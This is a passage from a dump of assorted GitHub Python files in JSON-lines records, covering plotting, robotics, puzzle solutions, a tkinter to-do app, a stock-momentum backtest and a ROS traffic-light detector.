ts]\n\npyplot.figure(figsize=(6, 3))\npyplot.plot(ts, ys)\npyplot.ylim([0, 5])\npyplot.xlim([0, 1.5])\n#pyplot.xticks([0, 0.25, 0.5, 0.75, 1.0, 1.25],\n# ['Seed', 'Series A', 'Series B', '...', 'IPO', '...'],\n# fontsize='small')\n#pyplot.yticks([0, 1, 2, 3, 4, 5],\n# ['0%', '100%', '200%', '300%', '400%', '500%'],\n# fontsize='small')\npyplot.xticks([])\npyplot.yticks([])\nfor dir in ['top', 'left', 'bottom', 'right']:\n pyplot.gca().spines[dir].set_visible(False)\npyplot.axhline(1, color='tab:purple', alpha=0.5)\npyplot.annotate('100% of \"nominal\" value', (0, 1), ha='left', va='bottom', color='tab:purple')\nfor x, stage in [(0, 'Seed'), (0.25, 'Series A'), (0.5, 'Series B'), (1.0, 'IPO')]:\n pyplot.annotate(stage, (x, 3), ha='center', va='bottom')\npyplot.figtext(0.5, 0.01, 'Figure 8: Employee perception of equity compensation', ha='center', style='italic') #, fontsize='small')\npyplot.tight_layout()\npyplot.savefig('equity-value.png', dpi=300)\n","repo_name":"erikbern/salary-model","sub_path":"equity_value.py","file_name":"equity_value.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"6574025563","text":"from openravepy import *\nimport time\nenv = Environment()\nenv.SetViewer('qtcoin')\nenv.Load('environment/bullet_floor.env.xml')\nraw_input('wait')\nwith env:\n\tphysics = RaveCreatePhysicsEngine(env,'bullet')\n\tphysics.SetGravity((0,0,-9.8))\n\tenv.SetPhysicsEngine(physics)\nraw_input(\"hhhh\")\n#time.sleep(100)\n","repo_name":"chmodsss/openrave-youbot","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"7822495011","text":"# Accepted on leetcode(79)\r\n# time - O((M*N) * 3^P -> p is the length of string), space - O(M*N)\r\n# Using backtracking approach\r\n'''\r\nFirst try to find the first character of the word in the grid. Then start a dfs on it and if some character is not found backtrack from the path and traverse other paths.\r\n'''\r\n\r\n\r\nclass Solution:\r\n def exist(self, board, word: str) -> bool:\r\n # Edge case\r\n if not board: return False\r\n if not word: return True\r\n m = len(board)\r\n n = len(board[0])\r\n # using a visited matrix so that we dont include the path previously visited.\r\n visited = [[False for i in range(n)] for j in range(m)]\r\n for i in range(m):\r\n for j in range(n):\r\n if self.exist_word(board, word, i, j, visited):\r\n return True\r\n return False\r\n\r\n def exist_word(self, board, word, i, j, visited):\r\n # base case\r\n if i < 0 or i >= len(board) or j < 0 or j >= len(board[0]) or visited[i][j]:\r\n return False\r\n # Logic\r\n if board[i][j] == word[0]:\r\n if len(word) == 1: return True # only one letter word, thats found\r\n visited[i][j] = True # make visited true if the path is already explored.\r\n # rest of logic\r\n dirs = [[1, 0], [0, 1], [-1, 0], [0, -1]]\r\n for dir in dirs:\r\n r = i + dir[0]\r\n c = j + dir[1]\r\n if self.exist_word(board, word[1:], r, c, visited): return True\r\n # backtracking\r\n visited[i][j] = False\r\n return False","repo_name":"PrathushaKoouri/Backtracking-3","sub_path":"73_wordSearch(backtracking).py","file_name":"73_wordSearch(backtracking).py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"16564588910","text":"def run():\n input = open('day2-input.txt').read()\n print(\"input: %s\" % input)\n numbers = [ int(n) for n in input.split(',') ]\n pos = 0\n\n while True:\n opcode = numbers[pos]\n print(\"opcode: %d\" % opcode)\n if opcode == 1:\n p1, p2, p3 = numbers[pos+1:pos+4]\n print(\"Adding positions %d and %d, storing at position %d\" %(p1, p2, p3))\n n1 = numbers[p1]\n n2 = numbers[p2]\n numbers[p3] = n1 + n2\n print(\"New list: %s\" % numbers) \n elif opcode == 2:\n p1, p2, p3 = numbers[pos+1:pos+4]\n print(\"Multiplying positions %d and %d, storing at position %d\" %(p1, p2, p3))\n n1 = numbers[p1]\n n2 = numbers[p2]\n numbers[p3] = n1 * n2\n print(\"New list: %s\" % numbers) \n elif opcode == 99:\n print(\"Quitting\")\n break\n pos += 4\n","repo_name":"dstautberg/AdventOfCode","sub_path":"aoc2019/day2a.py","file_name":"day2a.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73807789673","text":"import rospy\nimport math\nimport moveit_commander\n\ndef initial_pose(robot = moveit_commander.RobotCommander(), group = moveit_commander.MoveGroupCommander('arm_group')):\n joint_angles = [-5*math.pi/180, -40*math.pi/180, -86*math.pi/180, 0.0, 0.0, 0.0]\n # joint_angles = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n # Set the target joint angles\n group.set_joint_value_target(joint_angles)\n\n # Plan and execute the motion\n plan = group.go(wait=True)\n print(\"Initial Pose achieved\")\n\ndef main():\n # Initialize the ROS node and MoveIt\n print(\"Pose initialization started\")\n rospy.init_node('pose_init_node')\n initial_pose()\n\nif __name__ == '__main__':\n main()","repo_name":"ritesh27gole/object_follower","sub_path":"scripts/init_ur5_pose.py","file_name":"init_ur5_pose.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"13329299006","text":"from fileinput import filename\r\nfrom tkinter import *\r\nfrom tkinter import filedialog\r\nimport pickle\r\nimport os\r\n\r\nimport smartsheet\r\n_dir = os.path.dirname(os.path.abspath(__file__))\r\nsmart = smartsheet.Smartsheet()\r\n\r\nroot = Tk()\r\nroot.title('To Do List App')\r\nroot.geometry(\"500x500\")\r\n\r\n# Create frame\r\nmy_frame = Frame(root)\r\nmy_frame.pack(pady=10)\r\n\r\n# Create listbox\r\nmy_list = Listbox(my_frame,\r\n width=80,\r\n height=22,\r\n bg=\"SystemButtonFace\",\r\n bd=0,\r\n fg=\"#464646\",\r\n highlightthickness=0,\r\n selectbackground=\"#a6a6a6\",\r\n activestyle=\"none\")\r\nmy_list.pack(side=LEFT, fill=BOTH)\r\n\r\n# test = [\"Morning walk\", \"Exercise\", \"Check email\", \"Read the news\", \"Study\"]\r\n# for item in test:\r\n# \tmy_list.insert(END, item)\r\n\r\n# Create Scrollbar\r\nmy_scrollbar = Scrollbar(my_frame)\r\nmy_scrollbar.pack(side=RIGHT, fill=BOTH)\r\n\r\n# Add scrollbar\r\nmy_list.config(yscrollcommand=my_scrollbar.set)\r\nmy_scrollbar.config(command=my_list.yview)\r\n\r\n# Create entry box\r\nmy_entry = Entry(root, width=30)\r\nmy_entry.pack(pady=20)\r\n\r\n# Create a button frame\r\nbutton_frame = Frame(root)\r\nbutton_frame.pack(pady=20)\r\n\r\n# Functions\r\ndef add_item():\r\n my_list.insert(END, my_entry.get())\r\n my_entry.delete(0, END)\r\n\r\ndef delete_item():\r\n my_list.delete(ANCHOR) # delete highlighed items\r\n\r\ndef cross_item():\r\n my_list.itemconfig(my_list.curselection(), fg=\"#dedede\")\r\n \r\n my_list.select_clear(0, END)\r\ndef uncross_item():\r\n my_list.itemconfig(my_list.curselection(), fg=\"#464646\")\r\n my_list.select_clear(0, END)\r\n\r\ndef delete_crossed():\r\n count = 0\r\n while count < my_list.size():\r\n if my_list.itemcget(count, \"fg\") == \"#dedede\":\r\n my_list.delete(my_list.index(count))\r\n else:\r\n count += 1\r\n\r\ndef save_list():\r\n file_name = filedialog.asksaveasfilename(\r\n initialdir=\"D:\\School\\Programming\\Python\\To Do List\",\r\n title=\"Save File\",\r\n filetypes=(\r\n #(\"Text Files\", \"*.txt\"),\r\n (\"Excel Files\", \"*.xlsx\"),\r\n # (\"Dat Files\", \"*.dat\"),\r\n (\"All Files\", \"*.*\"))\r\n )\r\n if file_name:\r\n if file_name.endswith(\".xlsx\"):\r\n pass\r\n else:\r\n file_name = f'{file_name}.xlsx'\r\n count = 0\r\n while count < my_list.size():\r\n if my_list.itemcget(count, \"fg\") == \"#dedede\":\r\n my_list.delete(my_list.index(count))\r\n else:\r\n count += 1\r\n \r\n stuff = my_list.get(0, END)\r\n\r\n # Open the file\r\n output_file = open(file_name, 'wb')\r\n\r\n # Add items to the file\r\n pickle.dump(stuff, output_file)\r\n\r\n \r\ndef open_list():\r\n file_name = filedialog.askopenfilename(\r\n initialdir=\"D:\\School\\Programming\\Python\\To Do List\",\r\n title=\"Open File\",\r\n filetypes=(\r\n #(\"Text Files\", \"*.txt\"),\r\n (\"Excel Files\", \"*.xlsx\"),\r\n # (\"Dat Files\", \"*.dat\"),\r\n (\"All Files\", \"*.*\"))\r\n )\r\n if file_name:\r\n # Delete current list\r\n my_list.delete(0, END)\r\n\r\n # Open the file\r\n input_file = open(file_name, 'rb')\r\n\r\n # Load the file\r\n stuff = pickle.load(input_file)\r\n\r\n # Display the content\r\n for item in stuff:\r\n my_list.insert(END, item)\r\n\r\ndef delete_list():\r\n my_list.delete(0, END)\r\n\r\n#imported_sheet = smart.Sheets.import_xlsx_sheet(_dir + '/Sample Sheet.xlsx', header_row_index=0)\r\n\r\nsheet = smart.Sheets.get_sheet_as_excel(2147782728411012, '/Users/Hung/Downloads/To-Do-List-main')\r\n# def upload_list():\r\n\r\n # smart.Sheets.import_xlsx_sheet(\r\n # 4105745248610180, # folder_id\r\n # 'D:\\School\\Programming\\Python\\To-Do-List-\\test.xlsx',\r\n # 'ToDo', # sheet_name\r\n # header_row_index=0\r\n # )\r\n # imported_sheet\r\n\r\ndef download_list():\r\n pass\r\n# Create Menu\r\nmy_menu = Menu(root)\r\nroot.config(menu=my_menu)\r\n\r\n# Add items to the menu\r\nfile_menu = Menu(my_menu, tearoff=False)\r\nmy_menu.add_cascade(label=\"File\", menu=file_menu)\r\n\r\n# Add dropdown\r\nfile_menu.add_command(label=\"Save List\", command=save_list)\r\nfile_menu.add_command(label=\"Open List\", command=open_list)\r\nfile_menu.add_separator\r\nfile_menu.add_command(label=\"Clear List\", command=delete_list)\r\n# file_menu.add_command(label=\"Upload List\", command=upload_list)\r\nfile_menu.add_command(label=\"Download List\", command=download_list)\r\n\r\n# Add buttons\r\nadd_button = Button(button_frame, text=\"Add\", command=add_item)\r\n# add_db_button = Button(button_frame, text=\"Add To DB\", command=upload_list)\r\ndelete_button = Button(button_frame, text=\"Delete\", command=delete_item)\r\ncross_button = Button(button_frame, text=\"Cross\", command=cross_item)\r\nuncross_button = Button(button_frame, text=\"Uncross\", command=uncross_item)\r\ndelete_crossed_button = Button(button_frame, text=\"Delete Crossed\", command=delete_crossed)\r\n\r\nadd_button.grid(row=0, column=1, padx=20)\r\n# add_db_button.grid(row=1, column=1, padx=20)\r\ndelete_button.grid(row=0, column=0)\r\ncross_button.grid(row=0, column=2)\r\nuncross_button.grid(row=0, column=3, padx=20)\r\ndelete_crossed_button.grid(row=0, column=4)\r\n\r\nroot.mainloop()","repo_name":"hungqng/To-Do-List","sub_path":"to-do-list.py","file_name":"to-do-list.py","file_ext":"py","file_size_in_byte":5792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"44383409334","text":"import argparse as ap\nimport os\nfrom .mirror_symmetry_tools import main\n\n\nclass ReadableDir(ap.Action):\n def __call__(self, parser, namespace, values, option_string=None):\n r_dir = values\n\n if not os.path.exists(r_dir):\n try:\n os.makedirs(r_dir)\n except os.error:\n raise ap.ArgumentTypeError(\n 'ReadableDir:Could not create dir: {0}'.format(r_dir))\n if not os.path.isdir(r_dir):\n raise ap.ArgumentTypeError(\n 'ReadableDir:{0} is not a valid path'.format(r_dir))\n if os.access(r_dir, os.R_OK):\n setattr(namespace, self.dest, r_dir)\n else:\n raise ap.ArgumentTypeError(\n 'ReadableDir:{0} is not a readable dir'.format(r_dir))\n\n\ndef process():\n parser = ap.ArgumentParser(description='Detect mirror symmetry plane. The '\n 'symmetry plane determined in '\n 'point-normal form is printed. '\n 'Optional binary mask that splits '\n 'the image into the two symmetric '\n 'regions can be saved. Optional '\n 'two symmetric images can be '\n 'created by mirroring the sides '\n 'across the symmetry plane.')\n\n parser.add_argument('image',\n help='Nifti image to be processed.')\n\n parser.add_argument('--save_path', '-p', default=None, action=ReadableDir,\n help='Path to folder in which files are saved. '\n 'Folder will be created if it does not exist.')\n\n parser.add_argument('--direction', '-d', default='R',\n help='The direction of expected symmetry, e.g. when '\n 'an image has a symmetry close to the '\n 'left-right direction, either \"left\"/\"l\" or '\n '\"right\"/\"r\" can be specified. If the mask is '\n 'saved, the value 1 will correspond to the '\n 'direction specified here. Expected values: '\n 'left, right, anterior, posterior, superior, '\n 'inferior and the corresponding first letters, '\n 'either lower case or upper case.')\n\n parser.add_argument('--create_fiducials', '-f', action='store_true',\n help='Flag to save a slicer compatible csv file '\n 'containing fiducials visualising the normal '\n 'vector of the symmetry plane.')\n\n parser.add_argument('--create_mask', '-c', action='store_true',\n help='Flag to save a binary symmetry mask.')\n\n parser.add_argument('--mirror_image', '-m', action='store_true',\n help='Flag to save two images created by mirroring '\n 'one side across the symmetry plane.')\n\n parser.add_argument('--gpu', '-g', action='store_true',\n help='Flag to use CUDA for the registration.')\n args = parser.parse_args()\n\n main(args.image, args.save_path, args.direction[0], args.create_mask,\n args.mirror_image, args.create_fiducials, use_cuda=args.gpu)\n\n\nif __name__ == \"__main__\":\n process()\n","repo_name":"KCL-BMEIS/mirror_symmetry","sub_path":"mirror_symmetry/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"72"} +{"seq_id":"15146619789","text":"N = int(input())\r\n\r\nfor i in range(N):\r\n d = int(input())\r\n if(i==0):\r\n dmin = d\r\n dmax = d\r\n else:\r\n if(dmin<=d and dmax >=d):\r\n dmin = 0\r\n else:\r\n dmin = min(abs(dmin-d),abs(dmax-d))\r\n dmax +=d\r\n\r\nprint(dmax)\r\nprint(dmin)","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/arc004/B/4349749.py","file_name":"4349749.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"10760079826","text":"#secret number from 0 to 9 with 3 tries\n\nsecret_number = 9\nguess_count = 0\nguess_limit = 3\n\nwhile guess_count < guess_limit:\n guess = int(input('Guess : '))\n guess_count += 1\n if guess == secret_number:\n print('You won!')\n break\nelse:\n print('You lost. Try again next time.')","repo_name":"jjunsheng/learningpython","sub_path":"mosh python/guessing game.py","file_name":"guessing game.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"40299741946","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Dec 24 15:10:17 2017\r\n\r\n@author: Wu Jingwei\r\n\"\"\"\r\n\r\n# Definition for singly-linked list.\r\n# class ListNode(object):\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.next = None\r\n\r\nclass Solution(object):\r\n def getIntersectionNode(self, headA, headB):\r\n \"\"\"\r\n :type head1, head1: ListNode\r\n :rtype: ListNode\r\n \"\"\"\r\n if not headA or not headB:\r\n return None\r\n cur_a=headA\r\n mapping = {}\r\n while cur_a:\r\n mapping[id(cur_a)]=cur_a.val\r\n cur_a=cur_a.next\r\n cur_b=headB\r\n while cur_b:\r\n if id(cur_b) in mapping:\r\n return cur_b\r\n cur_b=cur_b.next\r\n return None\r\n \r\n \r\n # Definition for singly-linked list.\r\n# class ListNode(object):\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.next = None\r\n\r\nclass Solution(object):\r\n def getIntersectionNode(self, headA, headB):\r\n \"\"\"\r\n :type head1, head1: ListNode\r\n :rtype: ListNode\r\n \"\"\"\r\n dic = {}\r\n cur = headA\r\n while cur:\r\n dic[id(cur)] = cur.val\r\n cur = cur.next\r\n cur = headB\r\n while cur:\r\n if id(cur) in dic:\r\n return cur\r\n cur = cur.next\r\n return \r\n","repo_name":"jingweiwu26/Practice_code","sub_path":"160. Intersection of Two Linked Lists.py","file_name":"160. Intersection of Two Linked Lists.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12024675822","text":"def read(filename, sep=None, header=True, verbose=True):\n \"\"\"\n Read a CSV file.\n\n Parameters\n ----------\n filename : str\n Path to a CSV file.\n sep : str\n Separator. ``None`` triggers auto-detection. Defaults to ``None``.\n header : bool\n ``True`` for file with a header; ``False`` otherwise. Defaults\n to ``True``.\n verbose : bool\n `True` for progress information; `False` otherwise.\n\n Returns\n -------\n data : dask dataframes\n\n Examples\n --------\n .. doctest::\n\n >>> from limix.io.csv import read\n >>> from limix import file_example\n >>>\n >>> with file_example(\"data.csv\") as filepath:\n ... df = read(filepath, verbose=False)\n ... print(df) # doctest: +FLOAT_CMP\n pheno attr1 attr2 attr3\n 0 sex string 10 a\n 1 size float -3 b\n 2 force int f c\n \"\"\"\n from dask.dataframe import read_csv as dask_read_csv\n from pandas import read_csv as pandas_read_csv\n from .._display import session_line\n\n if sep is None:\n sep = _infer_separator(filename)\n\n header = 0 if header else None\n\n with session_line(\"Reading {}... \".format(filename), disable=not verbose):\n\n if _is_large_file(filename):\n df = dask_read_csv(filename, sep=sep, header=header)\n else:\n df = pandas_read_csv(filename, sep=sep, header=header)\n\n if len(df.columns) > 0:\n if df.columns[0] == \"Unnamed: 0\":\n df = df.set_index(\"Unnamed: 0\")\n df.index.name = None\n\n return df\n\n\ndef _see(filepath, header, verbose=True):\n \"\"\"\n Shows a human-friendly representation of a CSV file.\n\n Parameters\n ----------\n filepath : str\n CSV file path.\n header : bool\n ``True`` for parsing the header; ``False`` otherwise.\n verbose : bool\n ``True`` for verbose; ``False`` otherwise.\n\n Returns\n -------\n str\n CSV representation.\n \"\"\"\n from pandas import read_csv\n from .._display import session_line\n\n if header:\n header = 0\n else:\n header = None\n\n with session_line(desc=\"Reading %s... \" % filepath, disable=not verbose):\n sep = _infer_separator(filepath)\n msg = read_csv(filepath, sep=sep, header=header).head()\n\n print(msg)\n\n\ndef _count(candidates, line):\n counter = {c: 0 for c in candidates}\n for i in line:\n if i in candidates:\n counter[i] += 1\n return counter\n\n\ndef _update(counter, c):\n for (k, v) in c.items():\n if counter[k] != v:\n del counter[k]\n\n\ndef _infer_separator(fn):\n nmax = 9\n\n with open(fn, \"r\") as f:\n line = _remove_repeat(f.readline())\n counter = _count(set(line), line)\n\n for _ in range(nmax - 1):\n line = _remove_repeat(f.readline())\n if len(line) == 0:\n break\n c = _count(set(counter.keys()), line)\n _update(counter, c)\n if len(counter) == 1:\n return next(iter(counter.keys()))\n\n for c in set([\",\", \"\\t\", \" \"]):\n if c in counter:\n return c\n\n counter = list(counter.items())\n if len(counter) == 0:\n return None\n\n counter = sorted(counter, key=lambda kv: kv[1])\n return counter[-1][0]\n\n\ndef _remove_repeat(s):\n from re import sub\n\n return sub(r\"(.)\\1+\", r\"\\1\", s)\n\n\ndef _is_large_file(filepath):\n import os\n\n large = 1024 * 1024 * 100\n return os.path.getsize(filepath) >= large\n","repo_name":"andrewkern/limix","sub_path":"limix/io/csv.py","file_name":"csv.py","file_ext":"py","file_size_in_byte":3550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"34060273408","text":"def creatlist(size):\n temp=[]\n for i in range(size):\n temp.append(int(input('masukkan data ke'+str(i)+'=')))\n return temp\ndef isprime(list):\n prime=[]\n for i in (list):\n if i>1:\n pembagi=0\n for o in range(2,i):\n if i%o==0:\n pembagi+=1\n if pembagi==1 and i not in prime:\n prime.append(i)\n return prime\nsize=int(input('masukkan banyak data '))\nlist=creatlist(size)\nprima=isprime(list)\nprint('list data',list)\nprint('prima',prima)","repo_name":"farisulhaq/matkul","sub_path":"alpro/03 fungsi/prima_p1.py","file_name":"prima_p1.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3155202350","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport akshare as ak\n\nstocks = {}\nmoment = [\"20180101\",\"20180201\",\"20180301\",\"20180401\",\"20180501\",\"20180601\",\"20180701\",\"20180801\",\"20180901\",\"20181001\",\"20181101\",\"20181201\",\n \"20190101\",\"20190201\",\"20190301\",\"20190401\",\"20190501\",\"20190601\",\"20190701\",\"20190801\",\"20190901\",\"20191001\",\"20191101\",\"20191201\",\n \"20200101\",\"20200201\",\"20200301\",\"20200401\",\"20200501\",\"20200601\",\"20200701\",\"20200801\",\"20200901\",\"20201001\",\"20201101\",\"20201201\",\n \"20210101\",\"20210201\",\"20210301\",\"20210401\",\"20210501\",\"20210601\",\"20210701\",\"20210801\",\"20210901\",\"20211001\",\"20211101\",\"20211201\",\n \"20220101\",\"20220201\",\"20220301\",\"20220401\",\"20220501\",\"20220601\",\"20220701\",\"20220801\",\"20220901\",\"20221001\",\"20221101\",\"20221201\"]\n\n#持仓 list\nposition = []\n\n# 净值\nresult = 1\n\n# 根据一年内的数据df, 计算过去 mouth 月内的净值变化 假设初始值为 1\ndef calc_chg(df, month):\n value = 1\n for i in range(12 - month, 12):\n chg = df.loc[i, ['涨跌幅']]\n value = value * (1 + float(chg / 100))\n return value\n\n# 获取在时刻 t_index 时, 各只股票的净值变化\ndef get_all_data(t_index, last_n_month):\n value_dict={}\n for st in stocks.items():\n name = st[0]\n symbol = st[1]\n stock_zh_a_hist_df = ak.stock_zh_a_hist(symbol=symbol, period=\"monthly\", start_date=moment[t_index - 12],\n end_date = moment[t_index],\n adjust=\"qfq\")\n # print(stock_zh_a_hist_df)\n # 如果没有获取到过去完整 12 个月的数据,说明是次新,排除掉\n if len(stock_zh_a_hist_df) < 12:\n print(\"%s 未上市超过 12 个月, 过滤掉\" % name)\n continue\n\n # 保存过去3个月内的净值变化\n value_dict[name] = calc_chg(stock_zh_a_hist_df, last_n_month)\n\n print(\"当期银行股表现:\")\n print(value_dict)\n return value_dict\n\n# 对 data_dict 排序, 获取前 top 个元素\ndef get_top(data_dict, top):\n sorted_list = sorted(data_dict.items(), key=lambda item: item[1], reverse=True)\n return sorted_list[:top]\n\ndef get_name_list(data_list):\n name_list=[]\n for item in data_list:\n name_list.append(item[0])\n return name_list\n\n# 更新净值变化\ndef update_result(data):\n global result\n old_dict = {}\n vector = 0\n num_position = len(position)\n if num_position == 0:\n return\n\n for s in position:\n old_dict[s] = data[s]\n\n print(old_dict)\n for st in old_dict.items():\n vector = vector + st[1]/num_position\n\n result = result * vector\n print(\"净值更新为 %f\" % result);\n\ndef update_position(time, data):\n old_dict={}\n print(\"%s 调仓\" % moment[time])\n print(\"上个周期持仓:\")\n print(position)\n\n new_list = get_top(data, 6)\n print(\"上个周期表现最好的股票:\")\n print(new_list)\n\n new_list_name = get_name_list(new_list)\n\n if len(position) > 0:\n for s in position:\n old_dict[s] = data[s]\n\n print(\"上个周期的持仓表现\")\n print(old_dict)\n # 清空持仓\n position.clear()\n\n # 重新加入旧持仓的 Top 3 只股票\n top_n = get_top(old_dict, 3)\n position.append(top_n[0][0])\n position.append(top_n[1][0])\n position.append(top_n[2][0])\n\n print(\"top n\")\n print(top_n)\n for i in range(0, 6):\n if new_list_name[i] not in position:\n position.append(new_list_name[i])\n print(\"移入 %s\" % new_list_name[i])\n if len(position) == 6:\n break\n else:\n position.append(new_list_name[0])\n position.append(new_list_name[1])\n position.append(new_list_name[2])\n position.append(new_list_name[3])\n position.append(new_list_name[4])\n position.append(new_list_name[5])\n\n\n print(\"新持仓:\")\n print(position)\n\ndef save2file(file, t_index, result):\n file.write(moment[t_index])\n file.write(\",\")\n\n file.write(str(result))\n file.write(\",\")\n\n for s in position:\n file.write(s)\n file.write(\",\")\n\n file.write(\"\\n\")\n\ndef run():\n global result\n\n file = open('./work15-fdc.csv', 'w')\n for head in [\"时刻\",\"净值\",\"持仓股票1\",\"持仓股票2\"]:\n file.write(head)\n file.write(\",\")\n file.write(\"\\n\")\n\n # 从 moment_index = 12 也就是 20190101 开始, 每 3 个月进行调仓\n interval = 3\n for t in range(12, 56, interval):\n print(\"-------------------\")\n print(moment[t])\n # 获取上个周期数据\n data = get_all_data(t, interval)\n # 计算上个周期净值变化\n update_result(data)\n # 调仓\n update_position(t, data)\n # 保存到文件\n save2file(file, t, result)\n\n file.close()\n print(\"==================================\")\n print (\"最终净值 %f\" % result)\n\ndef construct_stocks():\n stock_board_industry_cons_em_df = ak.stock_board_industry_cons_em(symbol=\"房地产开发\")\n num = len(stock_board_industry_cons_em_df)\n\n for i in range(0, num):\n symbol = stock_board_industry_cons_em_df.loc[i, ['代码']][0]\n if symbol.startswith('20') or symbol.startswith('90'):\n continue\n stocks[stock_board_industry_cons_em_df.loc[i, ['名称']][0]] = symbol\n print(\"共搜索到 %d 支股票\" % len(stocks))\n \nif __name__ == \"__main__\":\n construct_stocks()\n run()\n","repo_name":"qshchenmo/temp-use","sub_path":"fangdichan.py","file_name":"fangdichan.py","file_ext":"py","file_size_in_byte":5569,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"72"} +{"seq_id":"71564308712","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport sys\n\nfrom xml.etree.ElementPath import get_parent_map\nimport rospy\n\nfrom std_msgs.msg import Int16\nfrom morai_msgs.msg import CtrlCmd\nfrom detection_msgs.msg import BoundingBoxes\n\nfrom math import cos,sin,sqrt,pow,atan2,pi\n\nclass Yolo: \n def yolo__init__(self):\n \n self.yolo_pub = True\n self.yolo_off = True \n \n self.red_staus = False\n self.green_staus = False\n \n self.yolo_real = False ### Morai\n # self.yolo_real = True ### real\n \n self.yolo_final = True\n # self.yolo_final = False\n \n self.current_waypoint = 0\n \n self._yolo_data = 0 \n \n if self.yolo_real == False:\n if self.yolo_final:\n self.lines = [92, 93, 94, 95, 96, 135, 136, 137, 138, 236, 237, 238, 239, 240, 241, #### 1, 2, 3, 7 번의 정지선 앞 \n 548, 549, 550, 551, 552, 553, 554, 555, 656, 657, 658, 659, 660, 693, 694, 695, 696]\n self.lines2 = [323, 324, 325, 326] \n \n elif self.yolo_final == False:\n self.lines = [93, 94, 95, 96, 97, 98, 99, 100]\n self.lines2 = []\n \n \n ########\n # 323 ~ 326 : 빨좌일때만 (left)\n ########\n self.yolo_vel = 0\n self.ctrl_msg = CtrlCmd()\n rospy.Subscriber('/waypoint', Int16, self.waypointCB)\n rospy.Subscriber('/yolov5/detections', BoundingBoxes, self.yoloCB)\n \n def waypointCB(self, _data: Int16):\n self.current_waypoint =_data.data\n \n def yoloCB(self, _data: BoundingBoxes):\n\n size = []\n if self.current_waypoint in self.lines or self.current_waypoint in self.lines2:\n # print('111')\n for i in range(len(_data.bounding_boxes)):\n xmax = _data.bounding_boxes[i].xmax\n xmin = _data.bounding_boxes[i].xmin\n ymax = _data.bounding_boxes[i].ymax\n ymin = _data.bounding_boxes[i].ymin\n \n size.append(self.box_size(xmin, xmax, ymin, ymax))\n \n if size:\n max_index = size.index(max(size)) \n self._yolo_data = _data.bounding_boxes[max_index].Class\n else:\n self._yolo_data = 0\n \n def box_size(self, x1, x2, y1, y2):\n return ((x2 - x1) *(y2 - y1))\n \n def main_yolo(self):\n \n ############## Real\n if self.yolo_real:\n if self.current_waypoint in self.lines:\n if self._yolo_data == 'red' or self._yolo_data == 'yellow':\n self.green_staus = False\n \n elif self._yolo_data == 'straight' or self._yolo_data == 'left_straight':\n self.red_staus = False\n self.green_staus = True\n \n elif self.current_waypoint in self.lines2:\n if self._yolo_data == 'left': \n self.red_staus = False\n self.green_staus = True\n elif self._yolo_data == 'red' or self._yolo_data == 'yellow' or self._yolo_data == 'straight' or self._yolo_data == 'left_straight':\n self.red_staus = True\n self.green_staus = False\n \n else:\n pass\n ##############\n \n ############## Moari\n else:\n if self.current_waypoint in self.lines:\n # print('normal')\n if self._yolo_data == '4_red' or self._yolo_data == '3_red' or self._yolo_data == '4_yellow':\n self.red_staus = True\n self.green_staus = False\n \n elif self._yolo_data == '4_green' or self._yolo_data == '3_green' or self._yolo_data == '4_str_left' :\n self.red_staus = False\n self.green_staus = True\n \n elif self.current_waypoint in self.lines2:\n if self._yolo_data == '4_red': \n self.red_staus = False\n self.green_staus = True\n elif self._yolo_data == '4_yellow' or self._yolo_data == '4_green' or self._yolo_data == '4_left'or self._yolo_data == '4_str_left'or self._yolo_data == '4_yel_green'or self._yolo_data == '3_red'or self._yolo_data == '3_yellow'or self._yolo_data == '3_green':\n self.red_staus = True\n self.green_staus = False\n \n else:\n pass\n ##############\n \n # print(self._yolo_data)\n # print('red', self.red_staus)\n # print('green', self.green_staus)\n \ndef main(args):\n\n rospy.init_node('path_reader', anonymous=False)\n _yolo = Yolo()\n rospy.spin()\n\nif __name__ == '__main__':\n\n _run = main(sys.argv)","repo_name":"kilgiyun/giyoonZZANG","sub_path":"kilkilkil/0830/h_yolo.py","file_name":"h_yolo.py","file_ext":"py","file_size_in_byte":5018,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"24292418127","text":"from django.db import models\nfrom myapp.content.constants import *\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport json\n\nclass Search(models.Model):\n search = models.CharField(max_length=500)\n created = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return '{}'.format(self.search)\n\n class Meta:\n verbose_name_plural = 'Searches'\n\nclass Player(models.Model):\n # B I 